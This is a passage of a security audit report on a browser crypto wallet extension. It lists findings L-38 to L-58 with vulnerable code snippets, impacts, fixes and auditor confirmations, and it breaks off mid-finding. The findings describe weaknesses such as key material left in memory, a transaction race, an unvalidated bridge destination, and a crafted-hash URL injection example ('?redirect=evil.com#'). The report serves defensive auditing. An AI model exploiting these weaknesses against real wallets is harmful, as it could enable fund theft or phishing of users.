Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/46

Rahat-ch

Fixed in MoveIndustries/motion-wallet#80 – added rate limiting to GET_MNEMONIC (same pattern as UNLOCK_WALLET from PR #46).

Issue L-38: `importFromPrivateKey` skips dispose on previous wallet's signers [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/152

Summary

`initializeFromPrivateKey` directly overwrites `cachedSigners` without calling `dispose()` on the previous signers. Old `WdkSigner` objects holding private key material remain in memory as orphaned objects.

Vulnerability Detail

At `src/services/wallet/account.ts`, `initializeFromPrivateKey` sets `cachedSigners = [signer]` directly without first calling `dispose()` on existing signers. Compare with `initializeWalletManager` which correctly calls `cachedSigners.forEach(s => s.dispose())`. `WdkSigner.dispose()` at `src/services/wallet/signer.ts` calls `this.account.dispose()` to zero out key material.

Impact

Previous wallet's derived private keys remain live in memory as orphaned objects, accessible via heap inspection until garbage collected.

Code Snippet

`src/services/wallet/account.ts` lines 61-66:

```
function initializeFromPrivateKey(keyHex: string, network: string) {
  ensureBufferPolyfill()
  const pk = new Ed25519PrivateKey(keyHex)
  const account = new Ed25519Account({ privateKey: pk })
  const signer = new PrivateKeySigner(account, network)
  cachedSigners = [signer]  // Old signers overwritten, never disposed
```

Compare with `initializeWalletManager` line 49:

```
cachedSigners.forEach(s => s.dispose())  // Properly disposes
```

Tool Used

Manual Review

Recommendation

Add `cachedSigners.forEach(s => s.dispose())` at the top of `initializeFromPrivateKey`.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/48

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/48.

Issue L-39: `lockWallet` does not clear vaultType [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/153

Summary

`lockWallet()` clears six state variables but not `vaultType`. After locking, `getVaultType()` still returns the previous wallet's type.

Vulnerability Detail

The `lockWallet` function clears `cachedSigners`, `cachedAccounts`, `walletManager`, `cachedMnemonic`, `cachedPassword`, and `currentWalletId`. However, the `vaultType` variable is not reset. `getVaultType()` continues returning `'mnemonic'` or `'private-key'` after the wallet is locked.

Impact

Information disclosure.

Code Snippet

`src/services/wallet/account.ts` lines 169-177:

```
export function lockWallet(): void {
  cachedSigners.forEach(s => s.dispose())
  cachedSigners = []
  cachedAccounts = []
  walletManager = null
  cachedMnemonic = null
  cachedPassword = null
  currentWalletId = null
  // vaultType not cleared
}
```

Tool Used

Manual Review

Recommendation

Add `vaultType = 'mnemonic'` to `lockWallet()` cleanup.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/48

defsec

Fix is confirmed : https://github.com/MoveIndustries/motion-wallet/pull/48

Issue L-40: Revealed mnemonic in Settings has no auto-hide timer [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/154

Summary

After password confirmation, the recovery phrase modal stays open with the mnemonic visible indefinitely. No timeout or auto-close.

Vulnerability Detail

After the user enters their password to reveal the recovery phrase, the mnemonic is rendered in a modal grid and remains visible until the user manually closes the modal. There is no auto-close timer, no re-blur after a period, and no screen-lock detection.

Impact

If the user reveals their phrase, gets distracted, and leaves the popup open, the mnemonic is exposed to anyone with physical access.

Code Snippet

`src/popup/pages/Settings.tsx` **lines 131-138:**

```
<div className="grid grid-cols-3 gap-2.5">
  {mnemonic.split(' ').map((word, i) => (
    <div key={i} className="bg-glass-bg rounded-xl text-[13px] font-mono">
      <span className="text-text-muted mr-1">{i + 1}.</span>
      {word}
    </div>
  ))}
</div>
```

Tool Used

Manual Review

Recommendation

Auto-close the modal after 60 seconds or blur the mnemonic after a timeout.

Discussion

Rahat-ch

Addressed in this PR https://github.com/MoveIndustries/motion-wallet/pull/26

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/26.

Issue L-41: Inconsistent message signing between `WdkSigner` and `PrivateKeySigner` [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/155

Summary

`WdkSigner.sign()` passes the message as a raw string to the WDK. `PrivateKeySigner.sign()` encodes to `Uint8Array` first and returns `0x`-prefixed hex. For the same input, the two signers may produce incompatible signatures.

Vulnerability Detail

`WdkSigner.sign()` passes the raw string to `this.account.sign(message)`. `PrivateKeySigner.sign()` first encodes via `TextEncoder` then calls `this.account.sign(encoded)` and manually constructs a `0x`-prefixed hex string. The two paths may produce different signature formats for the same message.

Impact

dApps that verify signatures may succeed with one wallet type and fail with the other. Switching wallet types breaks previously working signature verification.

Code Snippet

`src/services/wallet/signer.ts` lines 91-93:

```
async sign(message: string): Promise<string> {
  return this.account.sign(message)
}
```

Lines 215-219:

```
async sign(message: string): Promise<string> {
  const encoded = new TextEncoder().encode(message)
  const signature = this.account.sign(encoded)
  const bytes = signature.toUint8Array()
  return '0x' + Array.from(bytes).map(b => b.toString(16).padStart(2, '0')).join('')
}
```

Tool Used

Manual Review

Recommendation

Standardize both signers to encode the message identically and return signatures in the same format.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/52

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/52.

Issue L-42: Deleted wallet vault persists in legacy storage key [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/156

Summary

`createWallet` and `importFromPrivateKey` write the vault to both the `mv_wallets` array and the legacy `mv_vault` key. `deleteWallet` only removes from the array – the legacy key retains the deleted wallet's encrypted vault indefinitely.

Vulnerability Detail

Both `createWallet` and `importFromPrivateKey` write the encrypted vault to two locations: the `mv_wallets` array and the legacy `mv_vault` key via `secureStorage.saveVault()`. `switchWallet` also overwrites `mv_vault` with the active wallet's vault. However, `deleteWallet` only removes from the wallets array, it never calls `secureStorage.deleteVault()`.

Impact

Encrypted key material for deleted wallets persists indefinitely in unencrypted `chrome.storage.local`. An attacker with storage access can attempt offline brute-force against the orphaned vault.

Code Snippet

`src/services/wallet/account.ts` **lines 119-120** – dual write:

```
await secureStorage.saveWallets(wallets)
await secureStorage.saveVault(vault)        // Legacy key
```

Lines 358-376 – delete only removes from array:

```
const filtered = wallets.filter(w => w.id !== walletId)
await secureStorage.saveWallets(filtered)
// secureStorage.deleteVault() never called
```

Tool Used

Manual Review

Recommendation

Clear the legacy `mv_vault` key after deletion, or remove the dual-storage pattern entirely.

Discussion

Rahat-ch

should have been adressed in
https://github.com/MoveIndustries/motion-wallet/pull/40

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/40.

Issue L-43: Double transaction submission race in `approveTransaction` [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/157

Summary

`approveTransaction` reads the pending entry from the Map at the top of the function but only deletes it in the `finally` block after async transaction submission. Two concurrent calls (e.g., double-click) both find the same entry and both submit the transaction.

Vulnerability Detail

The function at `src/background/transaction-manager.ts` is async. `pendingTransactions.get(id)` reads the entry. The code then awaits `signer.sendTransaction()`. During this await, the event loop can process a second `APPROVE_TRANSACTION` message for the same ID. Both calls get the same `pending` reference, both submit the transaction, and both call `pending.resolve()`. The entry is only deleted in the `finally` block.

Impact

The same transaction is submitted twice on-chain. The second submission likely fails due to sequence number mismatch, but wastes gas. The dApp receives two resolve callbacks from the same promise. The same race exists in `approveSignMessage`.

Code Snippet

`src/background/transaction-manager.ts` lines 148-216:

```
export async function approveTransaction(id: string): Promise<...> {
  const pending = pendingTransactions.get(id)  // Both calls get this
  // ...
  try {
    const result = await signer.sendTransaction({...})  // Yields - second call
    ↪  enters
    if (pending) pending.resolve({ hash: result.hash })
  } finally {
    if (pending) pendingTransactions.delete(id)  // Too late
  }
}
```

Tool Used

Manual Review

Recommendation

Delete the entry from the Map immediately after reading it (before any async work), or use a guard Set to track in-flight IDs.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/43

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/43/changes.

Issue L-44: Bridge `dstEid` not validated [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/158

Summary

`buildBridgePayload` places `quote.dstEid` directly into on-chain function arguments without verifying it equals `ETHEREUM_CHAIN.eid` (30101). The wallet only supports Ethereum as a bridge target, yet any LayerZero endpoint ID would be accepted.

Vulnerability Detail

At `src/services/bridge/layerzero.ts`, the `dstEid` field from the quote is passed directly to the on-chain `send_withdraw` function arguments. The wallet UI only supports Ethereum bridging, and `quoteBridge` at line 194 correctly uses `ETHEREUM_CHAIN.eid` (30101). However, `buildBridgePayload` and `executeBridge` at `src/services/wallet/transaction.ts`never verify that the `dstEid` in the quote matches this value. A tampered quote can redirect tokens to any LayerZero-connected chain.

Impact

Tokens could be bridged to a different chain where the attacker controls the recipient address. The user would see "Bridging to Ethereum" in the UI but funds go to a different chain.

Code Snippet

`src/services/bridge/layerzero.ts` line 232:

```
functionArguments: [
  quote.dstEid,  // Not validated against ETHEREUM_CHAIN.eid (30101)
```

Tool Used

Manual Review

Recommendation

Assert `quote.dstEid === ETHEREUM_CHAIN.eid` before building the payload.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/45

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/45/changes with validation chain id.

Issue L-45: `executeSwap` ignores amountIn parameter [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/159

Summary

`executeSwap` accepts swap parameters but never uses them. Only the quote payload is submitted on-chain.

Vulnerability Detail

At `src/services/wallet/transaction.ts`, `executeSwap` accepts `amountIn`, `tokenIn`, `tokenOut`, and `slippage` in its `SwapParams` but none are used, only `params.quote.payload` at lines 136-139 is submitted on-chain. There is no consistency check between the displayed swap amount and the quote payload's actual amount. Combined with the stale quote race condition, the UI could display one amount while the on-chain execution uses a different one.

Impact

The displayed swap amount can diverge from the executed amount with no error or warning. A manipulated quote object changes the swap while the UI shows the original values.

Code Snippet

`src/services/wallet/transaction.ts` lines 122-141:

```
export async function executeSwap(_network: string, accountIndex: number, params:
↪  SwapParams) {
  if (!params.quote.payload) throw new Error('No swap payload in quote')
  const signer = getSigner(accountIndex)
  const result = await signer.sendTransaction({
    to: '', value: 0n,
    data: {
      function: params.quote.payload.function,         // Only quote payload used
      typeArguments: params.quote.payload.typeArguments,
      functionArguments: params.quote.payload.functionArguments,
    },
  })
  // params.amountIn, params.tokenIn, params.slippage - all ignored
```

Tool Used

Manual Review

Recommendation

Verify that the quote payload's amount matches `params.amountIn` before submission, or remove the unused parameters to avoid false safety assumptions.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/45

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/45.

Issue L-46: Background trusts content script provided origin instead of `sender.tab.url` [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/160

Summary

For `DAPP_REQUEST` messages, the origin used for rate-limiting and authorization comes from the message payload (set by the content script) instead of Chrome's verified `sender.tab.url`. If the content script is ever compromised, origin-based checks can be bypassed.

Vulnerability Detail

At `src/background/index.ts`, the origin for dApp requests is extracted from `message.payload.origin`, a value set by the content script at `src/content/inject.ts` (`const siteOrigin = window.location.origin`). The background has access to Chrome-verified `sender.tab.url` at line 35 but never uses it. By contrast, the external message handler correctly uses `sender.origin ?? sender.url`.

Impact

A defense-in-depth gap.

Code Snippet

`src/background/index.ts` lines 41-42:

```
if (isContentScript && message.type === 'DAPP_REQUEST') {
  const origin = (message.payload as { origin?: string })?.origin  // From payload,
  ↪  not sender
```

Tool Used

Manual Review

Recommendation

Derive origin from `new URL(sender.tab.url).origin` and cross-check against the payload.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/47

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/47/changes.

Issue L-47: PBKDF2 password Uint8Array buffer not zeroed after use [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/161

Summary

`encoder.encode(password)` creates a zeroable `Uint8Array` buffer but it is never zeroed after `importKey`. Unlike JS strings, this buffer can be cleared.

Vulnerability Detail

At `src/core/crypto/vault.ts`, `TextEncoder.encode()` creates a `Uint8Array` containing the UTF-8 password bytes. After `crypto.subtle.importKey` processes it, this buffer goes out of scope without being zeroed. Unlike JavaScript strings (which are immutable), `Uint8Array` buffers can be zeroed with `.fill(0)`, making this an actionable remediation.

Impact

The password bytes persist in the V8 heap until garbage collected.

Code Snippet

`src/core/crypto/vault.ts` line 24:

```
const keyMaterial = await crypto.subtle.importKey(
  'raw',
  encoder.encode(password),  // Uint8Array created here, never zeroed
  'PBKDF2', false, ['deriveKey']
)
```

Tool Used

Manual Review

Recommendation

Store the buffer in a variable and call `.fill(0)` in a `finally` block after `importKey`.

Discussion

Rahat-ch

Addressed in this PR https://github.com/MoveIndustries/motion-wallet/pull/26

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/26.

Issue L-48: `hexToBytes` produces `NaN` bytes on invalid hex input [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/162

Summary

The bridge module's `hexToBytes` function uses `parseInt` without validating the input. Non-hex characters produce NaN values silently included in the byte array.

Vulnerability Detail

At `src/services/bridge/layerzero.ts`, the function iterates over pairs of characters in the hex string and calls `parseInt(pair, 16)`. If the pair contains non-hex characters (e.g., `"zz"`), `parseInt` returns `NaN`, which is silently pushed into the array and passed as an on-chain function argument.

Impact

A tampered `recipientBytes32` field in a bridge quote could produce NaN bytes in the on-chain call, causing undefined behavior or transaction failure with an opaque error.

Code Snippet

`src/services/bridge/layerzero.ts` lines 75-82:

```
export function hexToBytes(hex: string): number[] {
  const cleaned = hex.replace('0x', '')
  const bytes: number[] = []
  for (let i = 0; i < cleaned.length; i += 2) {
    bytes.push(parseInt(cleaned.substring(i, i + 2), 16))
  }
  return bytes
}
```

Tool Used

Manual Review

Recommendation

Validate hex input before parsing.

Discussion

Rahat-ch

addressed on https://github.com/MoveIndustries/motion-wallet/pull/44

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/44/changes.

Issue L-49: Vulnerable dependencies with known CVEs [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/163

Summary

`npm audit` reports 8 vulnerable packages including 4 high-severity and 4 moderate-severity advisories. The most critical for a wallet is the `elliptic` library used in the LayerZero bridge dependency chain.

Vulnerability Detail

Running `npm audit` against `package-lock.json` identifies the following vulnerable dependencies:

High severity:

- **rollup** 4.x < 4.59.0 – Arbitrary File Write via Path Traversal (GHSA-mw96-cpmx-2vgc). Used by `@crxjs/vite-plugin` at build time. Affects the extension build process – a malicious rollup plugin or crafted source file could write to arbitrary paths during build.
- **flatted** <= 3.4.1 – Unbounded recursion DoS in `parse()` and Prototype Pollution (GHSA-25h7-pfq9-p65f, GHSA-rf6f-7fwh-wjgh). Used by eslint. Dev-time only.
- **picomatch** <= 2.3.1 – ReDoS via extglob quantifiers and Method Injection in POSIX character classes (GHSA-c2c7-rcm5-vvqj). Used by vite, vitest, tinyglobby. Primarily build/dev-time.
- **undici** 7.0.0-7.23.0 – 6 advisories: WebSocket 64-bit length overflow crash, HTTP Request/Response Smuggling, Unbounded Memory Consumption in WebSocket decompression, CRLF Injection via `upgrade` option, Unbounded Memory in DeduplicationHandler (GHSA-f269-vfmq-vjvj, GHSA-2mjp-6q6p-2qxm, GHSA-vrm6-8vpv-qv8q, GHSA-v9p9-hfj2-hcw8, GHSA-4992-7rv2-5pvq, GHSA-phc3-fgpg-7m6h).

Moderate severity:

- **elliptic** * – Risky cryptographic implementation (GHSA-848j-6mx2-7j84). Transitive via `@layerzerolabs/lz-v2-utilities` -> `@ethersproject/signing-key`. The advisory describes a timing side-channel in ECDSA that could leak private key bits. This is the most concerning finding for a wallet application.
- **bn.js** >= 5.0.0 < 5.2.3 – Infinite loop (GHSA-378v-28hj-76wf). Transitive via elliptic.
- **ajv** < 6.14.0 – ReDoS when using `$data` option (GHSA-2g4f-4pwh-qvx6).

- **brace-expansion** < 5.0.5 – Zero-step sequence causes process hang and memory exhaustion (GHSA-f886-m6hf-6m8v).

The dependency chain for the `elliptic` vulnerability: `@layerzerolabs/lz-v2-utilities` -> `@ethersproject/abi` -> `@ethersproject/hash` -> `@ethersproject/abstract-signer` -> `@ethersproject/abstract-provider` -> `@ethersproject/transactions` -> `@ethersproject/signing-key` -> `elliptic`.

Impact

Known vulnerabilities with CVEs.

Code Snippet

`package.json` **lines 21, 35:**

```
"@layerzerolabs/lz-v2-utilities": "^3.0.151",
"@crxjs/vite-plugin": "^2.0.0-beta.28",
```

Tool Used

Manual Review

Recommendation

1. Update `@layerzerolabs/lz-v2-utilities` to a version that does not depend on the vulnerable `elliptic` via `@ethersproject`, or pin a patched `elliptic` version via npm overrides.
2. Update `rollup` to >= 4.59.0 (may require updating `@crxjs/vite-plugin` or using npm overrides).
3. Run `npm audit fix` for the auto-fixable vulnerabilities (ajv, bn.js, brace-expansion, flatted, picomatch, undici).
4. Add `npm audit` to the CI pipeline to catch future vulnerabilities.

Discussion

Rahat-ch

addressed on https://github.com/MoveIndustries/motion-wallet/pull/60

defsec

Hi @Rahat-ch , There are some other dependencies not updated. Thank you!

Rahat-ch

@defsec – addressed in MoveIndustries/motion-wallet#60 commit `17607d06`.

`npm audit`: 11 vulns (3 high, 8 low) → **8 vulns (0 high, 8 low)**.

- vite bumped to ^6.4.2 (closes both advisories)
- rollup `>=4.59.0` override (forces crxjs's chain to patched)
- elliptic override already at upstream head (`6.6.1` is the latest published; advisory unpatched, acknowledged)
- auto-fixable group fixed by `npm audit fix`

The remaining 8 lows are the elliptic / ethersproject chain via `@layerzerolabs/lz-v2-utilities`. Only fix is a major LayerZero downgrade (removes Movement bridging). Not exploitable in this app – Movement signing uses `@aptos-labs/ts-sdk` Ed25519, not elliptic.

Sherlock #129 (AAD) is in the same PR.

defsec

Hi @Rahat-ch , thank you so much for the fix! Can we also pin the dependencies into the certain version for supply chain attacks?

Rahat-ch

@defsec – supply chain hardening complete. In addition to the original dependency fixes in MoveIndustries/motion-wallet#60, the following shipped:

- MoveIndustries/motion-wallet#66 – All direct deps pinned to exact versions (no `^`/`~`/`>=`). `.npmrc` enforces `save-exact=true` + `engine-strict=true`. `.nvmrc` pins Node 22. `engines` field added. `npm audit --audit-level=high --omit=dev` runs in CI.
- MoveIndustries/motion-wallet#65 – Bundled Inter font locally, dropped Google Fonts CDN. Extension has zero runtime external asset fetches now.
- MoveIndustries/motion-wallet#67 – Dependabot configured for weekly grouped minor/patch updates and automatic security alerts (npm + GitHub Actions ecosystems).
- MoveIndustries/motion-wallet#68 – Pinned CI actions (`actions/checkout`, `actions/setup-node`) to latest majors.
- MoveIndustries/motion-wallet#69 – SSH commit signing documented in README (enforcement via branch protection rule to follow after team rollout).

defsec

Marked as a fixed!

Issue L-50: `GET_TRANSACTIONS` merges dApp transactions without network/address filter [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/164

Summary

The `GET_TRANSACTIONS` handler merges all stored dApp transactions into the response regardless of which network or account is being queried. Transactions from testnet appear in mainnet history and vice versa.

Vulnerability Detail

At `src/background/message-handlers.ts`, `fetchTransactionHistory` correctly queries the indexer for a specific network and address. However, `getDappTransactions()` at `src/core/storage/secure-storage.ts` lines returns all stored dApp transactions from every network and every account. These are merged based solely on hash deduplication.

Impact

Users see transactions that don't belong to their current context.

Code Snippet

`src/background/message-handlers.ts` lines 164-176:

```
const indexerTxs = await fetchTransactionHistory(network, address, limit, offset)
const dappTxs = await secureStorage.getDappTransactions()  // ALL dApp txs,
↪  unfiltered
const seen = new Set(indexerTxs.map(t => t.hash))
const unique = [...indexerTxs, ...dappTxs.filter(t => !seen.has(t.hash))]
```

Tool Used

Manual Review

Recommendation

Filter `dappTxs` by network and sender address before merging.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/53

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/53.

Issue L-51: `explorerTxUrl` does not URL encode hash parameter [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/165

Summary

The `explorerTxUrl` function interpolates the `hash` parameter into the URL without encoding, while `explorerNetwork` on the same line IS encoded. A crafted hash could redirect the explorer link.

Vulnerability Detail

At `src/core/network/config.ts`, the `hash` parameter is directly interpolated into the URL string without `encodeURIComponent()` (note that `explorerNetwork` on the same line IS encoded). For dApp-initiated transactions, the hash comes from the RPC response and passes through `approveTransaction` back to the popup. If a crafted hash contains URL-special characters (e.g., `?redirect=evil.com#`), the resulting URL opened via `window.open()` navigates to an unintended path on the explorer domain.

Impact

A crafted hash value could redirect the explorer link to a different page, potentially used for phishing on the explorer domain.

Code Snippet

`src/core/network/config.ts` lines 34-38:

```
export function explorerTxUrl(network: string, hash: string): string {
  const config = NETWORKS[network] ?? NETWORKS['mainnet']
  const suffix = config.explorerNetwork ?
  ↪  `?network=${encodeURIComponent(config.explorerNetwork)}` : ''
  return `${config.explorer}/txn/${hash}${suffix}`  // hash not encoded
}
```

Tool Used

Manual Review

Recommendation

Apply `encodeURIComponent(hash)` or at minimum validate the hash format before interpolation.

Discussion

Rahat-ch

addressed on https://github.com/MoveIndustries/motion-wallet/pull/56

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/56

Issue L-52: Vault version field written but never read [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/166

Summary

The `version: 1` field is written during encryption but never checked on decrypt. If crypto parameters change in a future update, there is no migration path, old vaults would silently fail.

Vulnerability Detail

The encrypt function at `src/core/crypto/vault.ts` returns `{ ciphertext, iv, salt, version: 1 }`. The decrypt function reads `vault.salt`, `vault.iv`, and `vault.ciphertext` but never reads `vault.version`. If PBKDF2 iterations, algorithm, or key length change in a future version, there is no way to determine which parameters were used to encrypt a given vault.

Impact

No forward migration path for crypto parameter upgrades.

Code Snippet

`src/core/crypto/vault.ts` line 61:

```
version: 1,  // Written but never read on decrypt
```

Tool Used

Manual Review

Recommendation

Check the version field on decrypt and implement version-aware migration logic.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/51

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/51.

Issue L-53: Popup `CreateWallet` has separate clipboard copy without auto clear [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/167

Summary

The popup's `CreateWallet.tsx` has its own mnemonic copy button that writes to the system clipboard without auto-clearing. The mnemonic remains in the clipboard indefinitely.

Vulnerability Detail

In `src/popup/pages/CreateWallet.tsx`, when the user clicks ”Copy” on the recovery phrase display, the mnemonic is written to the system clipboard via `navigator.clipboard.writeText()`. No timeout is set to clear the clipboard afterward. Any application the user switches to can read the clipboard contents.

Impact

The recovery phrase persists in the system clipboard until overwritten by another copy operation, exposing it to any application with clipboard access.

Tool Used

Manual Review

Recommendation

Clear the clipboard after a short timeout (e.g., 30 seconds) using `navigator.clipboard.writeText('')`.

Discussion

Rahat-ch

Addressed in this PR https://github.com/MoveIndustries/motion-wallet/pull/26

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/26.

Issue L-54: External message handler open to all extensions [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/168

Summary

The background registers a `chrome.runtime.onMessageExternal` listener that accepts messages from any installed extension. There is no `externally_connectable` allowlist in the manifest.

Vulnerability Detail

Any browser extension can send messages to Motion Wallet via `chrome.runtime.sendMessage(MOTION_EXT_ID, ...)`. The handler at `src/background/index.ts` processes `connect`, `disconnect`, `isConnected`, `getAccount`, `signAndSubmitTransaction`, and `signMessage` methods from any sender origin. The manifest (`vite.config.ts`) has no `externally_connectable` field. While the rate limiter applies, any extension can trigger connection popups and attempt transaction submissions.

Impact

Any installed extension can interact with Motion Wallet's full external API, triggering popups and potentially confusing the user into approving malicious requests.

Code Snippet

`src/background/index.ts` lines 63-77:

```
chrome.runtime.onMessageExternal.addListener((message, sender, sendResponse) => {
  const origin = sender.origin ?? sender.url
  if (!origin) {
    sendResponse({ error: 'Unknown origin' })
    return false
  }

  if (isRateLimited(origin)) {
    sendResponse({ error: 'Rate limited' })
    return false
  }

  handleExternalMessage(message, origin, sender.tab?.id).then(sendResponse)
```

```
  return true
})
```

Tool Used

Manual Review

Recommendation

Add an `externally_connectable` field to the manifest with a restricted list of allowed origins. Alternatively, validate `sender.id` against a known extension allowlist.

Discussion

Rahat-ch

Addressed in this PR https://github.com/MoveIndustries/motion-wallet/pull/25

defsec

Fix is confirmed : https://github.com/MoveIndustries/motion-wallet/pull/25 but there is no whitelisting on the specific domains.

Issue L-55: Activity page `resolveToken` hardcodes 8-decimal fallback for unknown tokens [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/169

Summary

The Activity page's token resolution falls back to 8 decimals for any token not in a hardcoded list, causing wildly incorrect amount displays for tokens with different decimal counts.

Vulnerability Detail

At `src/popup/pages/Activity.tsx`, `resolveToken` returns `KNOWN_DECIMALS[symbol] ?? 8` for any unrecognized token. A token with 18 decimals would display amounts 10^10 times too large. This is a separate code path from the indexer metadata resolution and does not consult on-chain data.

Impact

Transaction history displays incorrect amounts for non-standard tokens, potentially misleading users about transfer sizes.

Code Snippet

`src/popup/pages/Activity.tsx` lines 30-31:

```
const symbol = raw === 'AptosCoin' ? 'MOVE' : raw
return { symbol, decimals: KNOWN_DECIMALS[symbol] ?? 8 }
```

Tool Used

Manual Review

Recommendation

Query token metadata from the indexer for unknown tokens, or display raw amounts with a warning instead of guessing decimals.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/50

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/50/changes.

Issue L-56: `deleteWallet` leaves dangling activeWalletId and stale accounts in Zustand store [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/175

Summary

After deleting a wallet, only the `wallets` list is updated in the Zustand store. `activeWalletId`, `accounts`, and `activeAccountIndex` retain the deleted wallet's data.

Vulnerability Detail

At `src/popup/hooks/useWallet.ts`, `deleteWallet` only calls `setWallets(response.data.wallets)`. It never updates `activeWalletId`, `accounts`, or `activeAccountIndex`. If the deleted wallet is the currently active one, the UI continues displaying the deleted wallet's accounts and the wallet switcher shows a dangling active wallet ID.

Impact

After deleting the active wallet, the user sees ghost accounts. Subsequent sends, swaps, or dApp interactions could target accounts belonging to the deleted wallet, causing confusing errors.

Code Snippet

`src/popup/hooks/useWallet.ts` lines 83-88:

```
const deleteWallet = useCallback(async (walletId: string) => {
  const response = await sendMessage<{ wallets: WalletListItem[]
  ↪  }>('DELETE_WALLET', { walletId })
  if (response.success && response.data) {
    setWallets(response.data.wallets)
    // activeWalletId, accounts, activeAccountIndex NOT updated
  }
}, [setWallets])
```

Tool Used

Manual Review

Recommendation

After deletion, refresh accounts and activeWalletId from the background response. The backend `deleteWallet` already switches to another wallet if the deleted one was active, propagate that state to the frontend.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/48

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/48.

Issue L-57: Operator precedence bug in verification slot guard [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/176

Summary

Due to JavaScript operator precedence, `!nextEmptySlot === undefined` is parsed as `(!nextEmptySlot) === undefined`, which is always false. The guard that should prevent clicking after all slots are filled never triggers.

Vulnerability Detail

At `src/onboarding/pages/VerifyPhrasePage.tsx`, the `!` operator executes before `===`. `!nextEmptySlot` produces a boolean, and a boolean is never `=== undefined`. When all 3 slots are filled, `nextEmptySlot` is `undefined`, but the guard fails and `setSelections` is called with key `undefined`.

Impact

After filling all verification slots, clicking additional word chips injects `{"undefined": "word"}` into the selections state. While the final verification check is unaffected (it iterates `verifyIndices`), this is a logic defect.

Code Snippet

`src/onboarding/pages/VerifyPhrasePage.tsx` line 40:

```
if (usedWords.includes(word) || !nextEmptySlot === undefined) return
// Should be: nextEmptySlot === undefined
```

Tool Used

Manual Review

Recommendation

Fix to `nextEmptySlot === undefined`.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/54

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/54.

Issue L-58: No onboarding route guards [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/177

Summary

All onboarding routes are publicly accessible with zero state precondition checks. Users can navigate directly to the success page, verification page, or password page without completing prior steps.

Vulnerability Detail

At `src/onboarding/App.tsx`, all routes render unconditionally. No route checks that required context values (password, mnemonic, flow) have been set. Navigating to `/success` shows "You're all set" without any wallet creation. Navigating to `/create/verify` attempts verification with an empty mnemonic. Navigating to `/import/password` submits an empty mnemonic to `CREATE_WALLET`.

Impact

Users who bookmark or are redirected to `/success` may believe they have a functional wallet when none exists.

Code Snippet

`src/onboarding/App.tsx` lines 32-42:

```
<Routes>
  <Route path="/" element={<WelcomePage />} />
  <Route path="/create/password" element={<CreatePasswordPage />} />
